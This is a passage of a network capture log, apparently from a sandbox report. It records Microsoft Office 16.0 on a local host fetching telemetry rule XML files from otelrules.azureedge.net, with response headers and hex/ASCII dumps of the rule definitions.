<UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.10	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:05 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:05 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:05 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: ef02ab36-401e-0064-3bb0-2054af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221405Z-15b8d89586f8nxpt6pvtkfw3pg00000005m000000000ffke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:05 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.10	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:05 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:05 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:05 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: b1f1bcc6-201e-0085-3fd8-1e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221405Z-16b659b4499z4tq4vyreufa8gn00000008f000000000aeeb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:05 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.10	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:05 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:05 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:05 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: fd41c75f-c01e-008e-7923-217381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221405Z-16b659b4499j6g8p9q09hdsh100000000bbg000000001zss x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:05 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.10	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:05 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:05 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:05 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 31a5708d-d01e-007a-0dd8-1ef38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221405Z-r197bdfb6b4b582bwynewx7zgn00000003ug00000000snge x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:05 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.10	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:05 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:05 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:05 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: dd0072de-501e-0064-4cd8-1e1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221405Z-r197bdfb6b49q495mwyebb3r6s000000022000000000pke8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:05 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.10	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:05 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:06 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:06 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 783e43a6-401e-00ac-1ad8-1e0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221406Z-15b8d89586fqj7k5uht6e8nnew00000005dg00000000mt9g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:06 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.10	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:06 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:06 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:06 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 2b07ac6c-201e-003c-64d8-1e30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221406Z-16b659b44999mb85a5wquzbrz800000009q000000000ebwr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:06 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.10	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:06 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:06 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:06 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 37bf9419-001e-0049-58d8-1e5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221406Z-16b659b4499gh2srh1fh903xkw0000000bxg000000004ra8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:06 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.10	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:06 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:06 UTC	584	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:06 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 90cb1d1e-701e-001e-57d8-1ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221406Z-16b659b44995jvf4d4dghwrdp400000001kg0000000016pm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:14:06 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.10	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:06 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:06 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:06 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: a14dcc21-f01e-003f-11d8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221406Z-15b8d89586fsx9lfqmgrbzpgmg00000005pg00000000rrs5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:06 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.10	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:06 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:14:06 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:14:06 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 113d00c9-b01e-0001-4f23-2146e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221406Z-16b659b4499mk7vv3349cr2qug0000000d7g0000000004ux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:14:06 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.10	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:14:06 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
